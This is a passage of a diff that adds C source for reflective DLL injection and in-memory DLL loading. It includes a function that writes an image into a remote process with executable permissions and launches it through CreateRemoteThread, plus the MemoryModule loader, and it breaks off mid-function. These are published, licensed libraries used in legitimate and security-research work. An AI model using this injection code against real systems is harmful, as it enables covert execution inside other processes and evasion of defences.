||||
DWORD dwReflectiveLoaderOffset = 0;
|
||||
DWORD dwThreadId = 0;
|
||||
|
||||
__try
|
||||
{
|
||||
do
|
||||
{
|
||||
if( !hProcess || !lpBuffer || !dwLength )
|
||||
break;
|
||||
|
||||
// check if the library has a ReflectiveLoader...
|
||||
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
|
||||
if( !dwReflectiveLoaderOffset )
|
||||
break;
|
||||
|
||||
// alloc memory (RWX) in the host process for the image...
|
||||
lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||
if( !lpRemoteLibraryBuffer )
|
||||
break;
|
||||
|
||||
// write the image into the host process...
|
||||
if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) )
|
||||
break;
|
||||
|
||||
// add the offset to ReflectiveLoader() to the remote library address...
|
||||
lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset );
|
||||
|
||||
// create a remote thread in the host process to call the ReflectiveLoader!
|
||||
hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId );
|
||||
|
||||
} while( 0 );
|
||||
|
||||
}
|
||||
__except( EXCEPTION_EXECUTE_HANDLER )
|
||||
{
|
||||
hThread = NULL;
|
||||
}
|
||||
|
||||
return hThread;
|
||||
}
|
||||
//===============================================================================================//
|
|
@ -0,0 +1,41 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H
|
||||
#define _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H
|
||||
//===============================================================================================//
|
||||
#include "ReflectiveDLLInjection.h"
|
||||
|
||||
DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer );
|
||||
|
||||
HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength );
|
||||
|
||||
HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter );
|
||||
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
|
@ -0,0 +1,916 @@
|
|||
/*
|
||||
* Memory DLL loading code
|
||||
* Version 0.0.4
|
||||
*
|
||||
* Copyright (c) 2004-2015 by Joachim Bauch / mail@joachim-bauch.de
|
||||
* http://www.joachim-bauch.de
|
||||
*
|
||||
* The contents of this file are subject to the Mozilla Public License Version
|
||||
* 2.0 (the "License"); you may not use this file except in compliance with
|
||||
* the License. You may obtain a copy of the License at
|
||||
* http://www.mozilla.org/MPL/
|
||||
*
|
||||
* Software distributed under the License is distributed on an "AS IS" basis,
|
||||
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
|
||||
* for the specific language governing rights and limitations under the
|
||||
* License.
|
||||
*
|
||||
* The Original Code is MemoryModule.c
|
||||
*
|
||||
* The Initial Developer of the Original Code is Joachim Bauch.
|
||||
*
|
||||
* Portions created by Joachim Bauch are Copyright (C) 2004-2015
|
||||
* Joachim Bauch. All Rights Reserved.
|
||||
*
|
||||
*/
|
||||
#include <windows.h>
|
||||
#include <winnt.h>
|
||||
#include <stddef.h>
|
||||
#include <tchar.h>
|
||||
#ifdef DEBUG_OUTPUT
|
||||
#include <stdio.h>
|
||||
#endif
|
||||
|
||||
#ifndef IMAGE_SIZEOF_BASE_RELOCATION
|
||||
// Vista SDKs no longer define IMAGE_SIZEOF_BASE_RELOCATION!?
|
||||
#define IMAGE_SIZEOF_BASE_RELOCATION (sizeof(IMAGE_BASE_RELOCATION))
|
||||
#endif
|
||||
|
||||
#include "MemoryModule.h"
|
||||
|
||||
typedef BOOL (WINAPI *DllEntryProc)(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved);
|
||||
typedef int (WINAPI *ExeEntryProc)(void);
|
||||
|
||||
typedef struct {
|
||||
PIMAGE_NT_HEADERS headers;
|
||||
unsigned char *codeBase;
|
||||
HCUSTOMMODULE *modules;
|
||||
int numModules;
|
||||
BOOL initialized;
|
||||
BOOL isDLL;
|
||||
BOOL isRelocated;
|
||||
CustomLoadLibraryFunc loadLibrary;
|
||||
CustomGetProcAddressFunc getProcAddress;
|
||||
CustomFreeLibraryFunc freeLibrary;
|
||||
void *userdata;
|
||||
ExeEntryProc exeEntry;
|
||||
DWORD pageSize;
|
||||
} MEMORYMODULE, *PMEMORYMODULE;
|
||||
|
||||
typedef struct {
|
||||
LPVOID address;
|
||||
LPVOID alignedAddress;
|
||||
DWORD size;
|
||||
DWORD characteristics;
|
||||
BOOL last;
|
||||
} SECTIONFINALIZEDATA, *PSECTIONFINALIZEDATA;
|
||||
|
||||
#define GET_HEADER_DICTIONARY(module, idx) &(module)->headers->OptionalHeader.DataDirectory[idx]
|
||||
#define ALIGN_DOWN(address, alignment) (LPVOID)((uintptr_t)(address) & ~((alignment) - 1))
|
||||
|
||||
#ifdef DEBUG_OUTPUT
|
||||
static void
|
||||
OutputLastError(const char *msg)
|
||||
{
|
||||
LPVOID tmp;
|
||||
char *tmpmsg;
|
||||
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
|
||||
NULL, GetLastError(), MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR)&tmp, 0, NULL);
|
||||
tmpmsg = (char *)LocalAlloc(LPTR, strlen(msg) + strlen(tmp) + 3);
|
||||
sprintf(tmpmsg, "%s: %s", msg, tmp);
|
||||
OutputDebugString(tmpmsg);
|
||||
LocalFree(tmpmsg);
|
||||
LocalFree(tmp);
|
||||
}
|
||||
#endif
|
||||
|
||||
static BOOL
|
||||
CopySections(const unsigned char *data, PIMAGE_NT_HEADERS old_headers, PMEMORYMODULE module)
|
||||
{
|
||||
int i, size;
|
||||
unsigned char *codeBase = module->codeBase;
|
||||
unsigned char *dest;
|
||||
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(module->headers);
|
||||
for (i=0; i<module->headers->FileHeader.NumberOfSections; i++, section++) {
|
||||
if (section->SizeOfRawData == 0) {
|
||||
// section doesn't contain data in the dll itself, but may define
|
||||
// uninitialized data
|
||||
size = old_headers->OptionalHeader.SectionAlignment;
|
||||
if (size > 0) {
|
||||
dest = (unsigned char *)VirtualAlloc(codeBase + section->VirtualAddress,
|
||||
size,
|
||||
MEM_COMMIT,
|
||||
PAGE_READWRITE);
|
||||
if (dest == NULL) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Always use position from file to support alignments smaller
|
||||
// than page size.
|
||||
dest = codeBase + section->VirtualAddress;
|
||||
section->Misc.PhysicalAddress = (DWORD) (uintptr_t) dest;
|
||||
memset(dest, 0, size);
|
||||
}
|
||||
|
||||
// section is empty
|
||||
continue;
|
||||
}
|
||||
|
||||
// commit memory block and copy data from dll
|
||||
dest = (unsigned char *)VirtualAlloc(codeBase + section->VirtualAddress,
|
||||
section->SizeOfRawData,
|
||||
MEM_COMMIT,
|
||||
PAGE_READWRITE);
|
||||
if (dest == NULL) {
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Always use position from file to support alignments smaller
|
||||
// than page size.
|
||||
dest = codeBase + section->VirtualAddress;
|
||||
memcpy(dest, data + section->PointerToRawData, section->SizeOfRawData);
|
||||
section->Misc.PhysicalAddress = (DWORD) (uintptr_t) dest;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// Protection flags for memory pages (Executable, Readable, Writeable)
|
||||
static int ProtectionFlags[2][2][2] = {
|
||||
{
|
||||
// not executable
|
||||
{PAGE_NOACCESS, PAGE_WRITECOPY},
|
||||
{PAGE_READONLY, PAGE_READWRITE},
|
||||
}, {
|
||||
// executable
|
||||
{PAGE_EXECUTE, PAGE_EXECUTE_WRITECOPY},
|
||||
{PAGE_EXECUTE_READ, PAGE_EXECUTE_READWRITE},
|
||||
},
|
||||
};
|
||||
|
||||
static DWORD
|
||||
GetRealSectionSize(PMEMORYMODULE module, PIMAGE_SECTION_HEADER section) {
|
||||
DWORD size = section->SizeOfRawData;
|
||||
if (size == 0) {
|
||||
if (section->Characteristics & IMAGE_SCN_CNT_INITIALIZED_DATA) {
|
||||
size = module->headers->OptionalHeader.SizeOfInitializedData;
|
||||
} else if (section->Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA) {
|
||||
size = module->headers->OptionalHeader.SizeOfUninitializedData;
|
||||
}
|
||||
}
|
||||
return size;
|
||||
}
|
||||
|
||||
static BOOL
|
||||
FinalizeSection(PMEMORYMODULE module, PSECTIONFINALIZEDATA sectionData) {
|
||||
DWORD protect, oldProtect;
|
||||
BOOL executable;
|
||||
BOOL readable;
|
||||
BOOL writeable;
|
||||
|
||||
if (sectionData->size == 0) {
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
if (sectionData->characteristics & IMAGE_SCN_MEM_DISCARDABLE) {
|
||||
// section is not needed any more and can safely be freed
|
||||
if (sectionData->address == sectionData->alignedAddress &&
|
||||
(sectionData->last ||
|
||||
module->headers->OptionalHeader.SectionAlignment == module->pageSize ||
|
||||
(sectionData->size % module->pageSize) == 0)
|
||||
) {
|
||||
// Only allowed to decommit whole pages
|
||||
VirtualFree(sectionData->address, sectionData->size, MEM_DECOMMIT);
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// determine protection flags based on characteristics
|
||||
executable = (sectionData->characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
|
||||
readable = (sectionData->characteristics & IMAGE_SCN_MEM_READ) != 0;
|
||||
writeable = (sectionData->characteristics & IMAGE_SCN_MEM_WRITE) != 0;
|
||||
protect = ProtectionFlags[executable][readable][writeable];
|
||||
if (sectionData->characteristics & IMAGE_SCN_MEM_NOT_CACHED) {
|
||||
protect |= PAGE_NOCACHE;
|
||||
}
|
||||
|
||||
// change memory access flags
|
||||
if (VirtualProtect(sectionData->address, sectionData->size, protect, &oldProtect) == 0) {
|
||||
#ifdef DEBUG_OUTPUT
|
||||
OutputLastError("Error protecting memory page");
|
||||
#endif
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
static BOOL
|
||||
FinalizeSections(PMEMORYMODULE module)
|
||||
{
|
||||
int i;
|
||||
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(module->headers);
|
||||
#ifdef _WIN64
|
||||
uintptr_t imageOffset = (module->headers->OptionalHeader.ImageBase & 0xffffffff00000000);
|
||||
#else
|
||||
#define imageOffset 0
|
||||
#endif
|
||||
SECTIONFINALIZEDATA sectionData;
|
||||
sectionData.address = (LPVOID)((uintptr_t)section->Misc.PhysicalAddress | imageOffset);
|
||||
sectionData.alignedAddress = ALIGN_DOWN(sectionData.address, module->pageSize);
|
||||
sectionData.size = GetRealSectionSize(module, section);
|
||||
sectionData.characteristics = section->Characteristics;
|
||||
sectionData.last = FALSE;
|
||||
section++;
|
||||
|
||||
// loop through all sections and change access flags
|
||||
for (i=1; i<module->headers->FileHeader.NumberOfSections; i++, section++) {
|
||||
LPVOID sectionAddress = (LPVOID)((uintptr_t)section->Misc.PhysicalAddress | imageOffset);
|
||||
LPVOID alignedAddress = ALIGN_DOWN(sectionAddress, module->pageSize);
|
||||
DWORD sectionSize = GetRealSectionSize(module, section);
|
||||
// Combine access flags of all sections that share a page
|
||||
// TODO(fancycode): We currently share flags of a trailing large section
|
||||
// with the page of a first small section. This should be optimized.
|
||||
if (sectionData.alignedAddress == alignedAddress || (uintptr_t) sectionData.address + sectionData.size > (uintptr_t) alignedAddress) {
|
||||
// Section shares page with previous
|
||||
if ((section->Characteristics & IMAGE_SCN_MEM_DISCARDABLE) == 0 || (sectionData.characteristics & IMAGE_SCN_MEM_DISCARDABLE) == 0) {
|
||||
sectionData.characteristics = (sectionData.characteristics | section->Characteristics) & ~IMAGE_SCN_MEM_DISCARDABLE;
|
||||
} else {
|
||||
sectionData.characteristics |= section->Characteristics;
|
||||
}
|
||||
sectionData.size = (((uintptr_t)sectionAddress) + sectionSize) - (uintptr_t) sectionData.address;
|
||||
continue;
|
||||
}
|
||||
|
||||
if (!FinalizeSection(module, §ionData)) {
|
||||
return FALSE;
|
||||
}
|
||||
sectionData.address = sectionAddress;
|
||||
sectionData.alignedAddress = alignedAddress;
|
||||
sectionData.size = sectionSize;
|
||||
sectionData.characteristics = section->Characteristics;
|
||||
}
|
||||
sectionData.last = TRUE;
|
||||
if (!FinalizeSection(module, §ionData)) {
|
||||
return FALSE;
|
||||
}
|
||||
#ifndef _WIN64
|
||||
#undef imageOffset
|
||||
#endif
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
static BOOL
|
||||
ExecuteTLS(PMEMORYMODULE module)
|
||||
{
|
||||
unsigned char *codeBase = module->codeBase;
|
||||
PIMAGE_TLS_DIRECTORY tls;
|
||||
PIMAGE_TLS_CALLBACK* callback;
|
||||
|
||||
PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_TLS);
|
||||
if (directory->VirtualAddress == 0) {
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
tls = (PIMAGE_TLS_DIRECTORY) (codeBase + directory->VirtualAddress);
|
||||
callback = (PIMAGE_TLS_CALLBACK *) tls->AddressOfCallBacks;
|
||||
if (callback) {
|
||||
while (*callback) {
|
||||
(*callback)((LPVOID) codeBase, DLL_PROCESS_ATTACH, NULL);
|
||||
callback++;
|
||||
}
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
static BOOL
|
||||
PerformBaseRelocation(PMEMORYMODULE module, SIZE_T delta)
|
||||
{
|
||||
unsigned char *codeBase = module->codeBase;
|
||||
PIMAGE_BASE_RELOCATION relocation;
|
||||
|
||||
PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_BASERELOC);
|
||||
if (directory->Size == 0) {
|
||||
return (delta == 0);
|
||||
}
|
||||
|
||||
relocation = (PIMAGE_BASE_RELOCATION) (codeBase + directory->VirtualAddress);
|
||||
for (; relocation->VirtualAddress > 0; ) {
|
||||
DWORD i;
|
||||
unsigned char *dest = codeBase + relocation->VirtualAddress;
|
||||
unsigned short *relInfo = (unsigned short *)((unsigned char *)relocation + IMAGE_SIZEOF_BASE_RELOCATION);
|
||||
for (i=0; i<((relocation->SizeOfBlock-IMAGE_SIZEOF_BASE_RELOCATION) / 2); i++, relInfo++) {
|
||||
DWORD *patchAddrHL;
|
||||
#ifdef _WIN64
|
||||
ULONGLONG *patchAddr64;
|
||||
#endif
|
||||
int type, offset;
|
||||
|
||||
// the upper 4 bits define the type of relocation
|
||||
type = *relInfo >> 12;
|
||||
// the lower 12 bits define the offset
|
||||
offset = *relInfo & 0xfff;
|
||||
|
||||
switch (type)
|
||||
{
|
||||
case IMAGE_REL_BASED_ABSOLUTE:
|
||||
// skip relocation
|
||||
break;
|
||||
|
||||
case IMAGE_REL_BASED_HIGHLOW:
|
||||
// change complete 32 bit address
|
||||
patchAddrHL = (DWORD *) (dest + offset);
|
||||
*patchAddrHL += (DWORD) delta;
|
||||
break;
|
||||
|
||||
#ifdef _WIN64
|
||||
case IMAGE_REL_BASED_DIR64:
|
||||
patchAddr64 = (ULONGLONG *) (dest + offset);
|
||||
*patchAddr64 += (ULONGLONG) delta;
|
||||
break;
|
||||
#endif
|
||||
|
||||
default:
|
||||
//printf("Unknown relocation: %d\n", type);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// advance to next relocation block
|
||||
relocation = (PIMAGE_BASE_RELOCATION) (((char *) relocation) + relocation->SizeOfBlock);
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
static BOOL
|
||||
BuildImportTable(PMEMORYMODULE module)
|
||||
{
|
||||
unsigned char *codeBase = module->codeBase;
|
||||
PIMAGE_IMPORT_DESCRIPTOR importDesc;
|
||||
BOOL result = TRUE;
|
||||
|
||||
PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY(module, IMAGE_DIRECTORY_ENTRY_IMPORT);
|
||||
if (directory->Size == 0) {
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
importDesc = (PIMAGE_IMPORT_DESCRIPTOR) (codeBase + directory->VirtualAddress);
|
||||
for (; !IsBadReadPtr(importDesc, sizeof(IMAGE_IMPORT_DESCRIPTOR)) && importDesc->Name; importDesc++) {
|
||||
uintptr_t *thunkRef;
|
||||
FARPROC *funcRef;
|
||||
HCUSTOMMODULE *tmp;
|
||||
HCUSTOMMODULE handle = module->loadLibrary((LPCSTR) (codeBase + importDesc->Name), module->userdata);
|
||||
if (handle == NULL) {
|
||||
SetLastError(ERROR_MOD_NOT_FOUND);
|
||||
result = FALSE;
|
||||
break;
|
||||
}
|
||||
|
||||
tmp = (HCUSTOMMODULE *) realloc(module->modules, (module->numModules+1)*(sizeof(HCUSTOMMODULE)));
|
||||
if (tmp == NULL) {
|
||||
module->freeLibrary(handle, module->userdata);
|
||||
SetLastError(ERROR_OUTOFMEMORY);
|
||||
result = FALSE;
|
||||
break;
|
||||
}
|
||||
module->modules = tmp;
|
||||
|
||||
module->modules[module->numModules++] = handle;
|
||||
if (importDesc->OriginalFirstThunk) {
|
||||
thunkRef = (uintptr_t *) (codeBase + importDesc->OriginalFirstThunk);
|
||||
funcRef = (FARPROC *) (codeBase + importDesc->FirstThunk);
|
||||
} else {
|
||||
// no hint table
|
||||
thunkRef = (uintptr_t *) (codeBase + importDesc->FirstThunk);
|
||||
funcRef = (FARPROC *) (codeBase + importDesc->FirstThunk);
|
||||
}
|
||||
for (; *thunkRef; thunkRef++, funcRef++) {
|
||||
if (IMAGE_SNAP_BY_ORDINAL(*thunkRef)) {
|
||||
*funcRef = module->getProcAddress(handle, (LPCSTR)IMAGE_ORDINAL(*thunkRef), module->userdata);
|
||||
} else {
|
||||
PIMAGE_IMPORT_BY_NAME thunkData = (PIMAGE_IMPORT_BY_NAME) (codeBase + (*thunkRef));
|
||||
*funcRef = module->getProcAddress(handle, (LPCSTR)&thunkData->Name, module->userdata);
|
||||
}
|
||||
if (*funcRef == 0) {
|
||||
result = FALSE;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!result) {
|
||||
module->freeLibrary(handle, module->userdata);
|
||||
SetLastError(ERROR_PROC_NOT_FOUND);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
static HCUSTOMMODULE _LoadLibrary(LPCSTR filename, void *userdata)
|
||||
{
|
||||
HMODULE result = LoadLibraryA(filename);
|
||||
if (result == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return (HCUSTOMMODULE) result;
|
||||
}
|
||||
|
||||
static FARPROC _GetProcAddress(HCUSTOMMODULE module, LPCSTR name, void *userdata)
|
||||
{
|
||||
return (FARPROC) GetProcAddress((HMODULE) module, name);
|
||||
}
|
||||
|
||||
static void _FreeLibrary(HCUSTOMMODULE module, void *userdata)
|
||||
{
|
||||
FreeLibrary((HMODULE) module);
|
||||
}
|
||||
|
||||
HMEMORYMODULE MemoryLoadLibrary(const void *data)
|
||||
{
|
||||
return MemoryLoadLibraryEx(data, _LoadLibrary, _GetProcAddress, _FreeLibrary, NULL);
|
||||
}
|
||||
|
||||
HMEMORYMODULE MemoryLoadLibraryEx(const void *data,
|
||||
CustomLoadLibraryFunc loadLibrary,
|
||||
CustomGetProcAddressFunc getProcAddress,
|
||||
CustomFreeLibraryFunc freeLibrary,
|
||||
void *userdata)
|
||||
{
|
||||
PMEMORYMODULE result;
|
||||
PIMAGE_DOS_HEADER dos_header;
|
||||
PIMAGE_NT_HEADERS old_header;
|
||||
unsigned char *code, *headers;
|
||||
SIZE_T locationDelta;
|
||||
SYSTEM_INFO sysInfo;
|
||||
HMODULE hModule;
|
||||
|
||||
dos_header = (PIMAGE_DOS_HEADER)data;
|
||||
if (dos_header->e_magic != IMAGE_DOS_SIGNATURE) {
|
||||
SetLastError(ERROR_BAD_EXE_FORMAT);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
old_header = (PIMAGE_NT_HEADERS)&((const unsigned char *)(data))[dos_header->e_lfanew];
|
||||
if (old_header->Signature != IMAGE_NT_SIGNATURE) {
|
||||
SetLastError(ERROR_BAD_EXE_FORMAT);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
#ifdef _WIN64
|
||||
if (old_header->FileHeader.Machine != IMAGE_FILE_MACHINE_AMD64) {
|
||||
#else
|
||||
if (old_header->FileHeader.Machine != IMAGE_FILE_MACHINE_I386) {
|
||||
#endif
|
||||
SetLastError(ERROR_BAD_EXE_FORMAT);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (old_header->OptionalHeader.SectionAlignment & 1) {
|
||||
// Only support section alignments that are a multiple of 2
|
||||
SetLastError(ERROR_BAD_EXE_FORMAT);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// reserve memory for image of library
|
||||
// XXX: is it correct to commit the complete memory region at once?
|
||||
// calling DllEntry raises an exception if we don't...
|
||||
code = (unsigned char *)VirtualAlloc((LPVOID)(old_header->OptionalHeader.ImageBase),
|
||||
old_header->OptionalHeader.SizeOfImage,
|
||||
MEM_RESERVE | MEM_COMMIT,
|
||||
PAGE_READWRITE);
|
||||
|
||||
if (code == NULL) {
|
||||
// try to allocate memory at arbitrary position
|
||||
code = (unsigned char *)VirtualAlloc(NULL,
|
||||
old_header->OptionalHeader.SizeOfImage,
|
||||
MEM_RESERVE | MEM_COMMIT,
|
||||
PAGE_READWRITE);
|
||||
if (code == NULL) {
|
||||
SetLastError(ERROR_OUTOFMEMORY);
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
|
||||
result = (PMEMORYMODULE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(MEMORYMODULE));
|
||||
if (result == NULL) {
|
||||
VirtualFree(code, 0, MEM_RELEASE);
|
||||
SetLastError(ERROR_OUTOFMEMORY);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
result->codeBase = code;
|
||||
result->isDLL = (old_header->FileHeader.Characteristics & IMAGE_FILE_DLL) != 0;
|
||||
result->loadLibrary = loadLibrary;
|
||||
result->getProcAddress = getProcAddress;
|
||||
result->freeLibrary = freeLibrary;
|
||||
result->userdata = userdata;
|
||||
|
||||
hModule = LoadLibrary ("kernel32.dll");
|
||||
if (hModule) {
|
||||
int (WINAPI *GetNativeSystemInfo) (SYSTEM_INFO *systemInfo);
|
||||
GetNativeSystemInfo = (void *) GetProcAddress (hModule, "GetNativeSystemInfo");
|
||||
GetNativeSystemInfo(&sysInfo);
|
||||
}
|
||||
result->pageSize = sysInfo.dwPageSize;
|
||||
|
||||
// commit memory for headers
|
||||
headers = (unsigned char *)VirtualAlloc(code,
|
||||
old_header->OptionalHeader.SizeOfHeaders,
|
||||
MEM_COMMIT,
|
||||
PAGE_READWRITE);
|
||||
|
||||
// copy PE header to code
|
||||
memcpy(headers, dos_header, old_header->OptionalHeader.SizeOfHeaders);
|
||||
result->headers = (PIMAGE_NT_HEADERS)&((const unsigned char *)(headers))[dos_header->e_lfanew];
|
||||
|
||||
// update position
|
||||
result->headers->OptionalHeader.ImageBase = (uintptr_t)code;
|
||||
|
||||
// copy sections from DLL file block to new memory location
|
||||
if (!CopySections((const unsigned char *) data, old_header, result)) {
|
||||
goto error;
|
||||
}
|
||||
|
||||
// adjust base address of imported data
|
||||
locationDelta = (SIZE_T)(code - old_header->OptionalHeader.ImageBase);
|
||||
if (locationDelta != 0) {
|
||||
result->isRelocated = PerformBaseRelocation(result, locationDelta);
|
||||
} else {
|
||||
result->isRelocated = TRUE;
|
||||
}
|
||||
|
||||
// load required dlls and adjust function table of imports
|
||||
if (!BuildImportTable(result)) {
|
||||
goto error;
|
||||
}
|
||||
|
||||
// mark memory pages depending on section headers and release
|
||||
// sections that are marked as "discardable"
|
||||
if (!FinalizeSections(result)) {
|
||||
goto error;
|
||||
}
|
||||
|
||||
// TLS callbacks are executed BEFORE the main loading
|
||||
if (!ExecuteTLS(result)) {
|
||||
goto error;
|
||||
}
|
||||
|
||||
// get entry point of loaded library
|
||||
if (result->headers->OptionalHeader.AddressOfEntryPoint != 0) {
|
||||
if (result->isDLL) {
|
||||
DllEntryProc DllEntry = (DllEntryProc) (code + result->headers->OptionalHeader.AddressOfEntryPoint);
|
||||
// notify library about attaching to process
|
||||
BOOL successfull = (*DllEntry)((HINSTANCE)code, DLL_PROCESS_ATTACH, 0);
|
||||
if (!successfull) {
|
||||
SetLastError(ERROR_DLL_INIT_FAILED);
|
||||
goto error;
|
||||
}
|
||||
result->initialized = TRUE;
|
||||
} else {
|
||||
result->exeEntry = (ExeEntryProc) (code + result->headers->OptionalHeader.AddressOfEntryPoint);
|
||||
}
|
||||
} else {
|
||||
result->exeEntry = NULL;
|
||||
}
|
||||
|
||||
return (HMEMORYMODULE)result;
|
||||
|
||||
error:
|
||||
// cleanup
|
||||
MemoryFreeLibrary(result);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
FARPROC MemoryGetProcAddress(HMEMORYMODULE module, LPCSTR name)
|
||||
{
|
||||
unsigned char *codeBase = ((PMEMORYMODULE)module)->codeBase;
|
||||
DWORD idx;
|
||||
PIMAGE_EXPORT_DIRECTORY exports;
|
||||
PIMAGE_DATA_DIRECTORY directory = GET_HEADER_DICTIONARY((PMEMORYMODULE)module, IMAGE_DIRECTORY_ENTRY_EXPORT);
|
||||
if (directory->Size == 0) {
|
||||
// no export table found
|
||||
SetLastError(ERROR_PROC_NOT_FOUND);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
exports = (PIMAGE_EXPORT_DIRECTORY) (codeBase + directory->VirtualAddress);
|
||||
if (exports->NumberOfNames == 0 || exports->NumberOfFunctions == 0) {
|
||||
// DLL doesn't export anything
|
||||
SetLastError(ERROR_PROC_NOT_FOUND);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
if (HIWORD(name) == 0) {
|
||||
// load function by ordinal value
|
||||
if (LOWORD(name) < exports->Base) {
|
||||
SetLastError(ERROR_PROC_NOT_FOUND);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
idx = LOWORD(name) - exports->Base;
|
||||
} else {
|
||||
// search function name in list of exported names
|
||||
DWORD i;
|
||||
DWORD *nameRef = (DWORD *) (codeBase + exports->AddressOfNames);
|
||||
WORD *ordinal = (WORD *) (codeBase + exports->AddressOfNameOrdinals);
|
||||
BOOL found = FALSE;
|
||||
for (i=0; i<exports->NumberOfNames; i++, nameRef++, ordinal++) {
|
||||
if (_stricmp(name, (const char *) (codeBase + (*nameRef))) == 0) {
|
||||
idx = *ordinal;
|
||||
found = TRUE;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (!found) {
|
||||
// exported symbol not found
|
||||
SetLastError(ERROR_PROC_NOT_FOUND);
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
|
||||
if (idx > exports->NumberOfFunctions) {
|
||||
// name <-> ordinal number don't match
|
||||
SetLastError(ERROR_PROC_NOT_FOUND);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// AddressOfFunctions contains the RVAs to the "real" functions
|
||||
return (FARPROC) (codeBase + (*(DWORD *) (codeBase + exports->AddressOfFunctions + (idx*4))));
|
||||
}
|
||||
|
||||
void MemoryFreeLibrary(HMEMORYMODULE mod)
|
||||
{
|
||||
PMEMORYMODULE module = (PMEMORYMODULE)mod;
|
||||
|
||||
if (module == NULL) {
|
||||
return;
|
||||
}
|
||||
if (module->initialized) {
|
||||
// notify library about detaching from process
|
||||
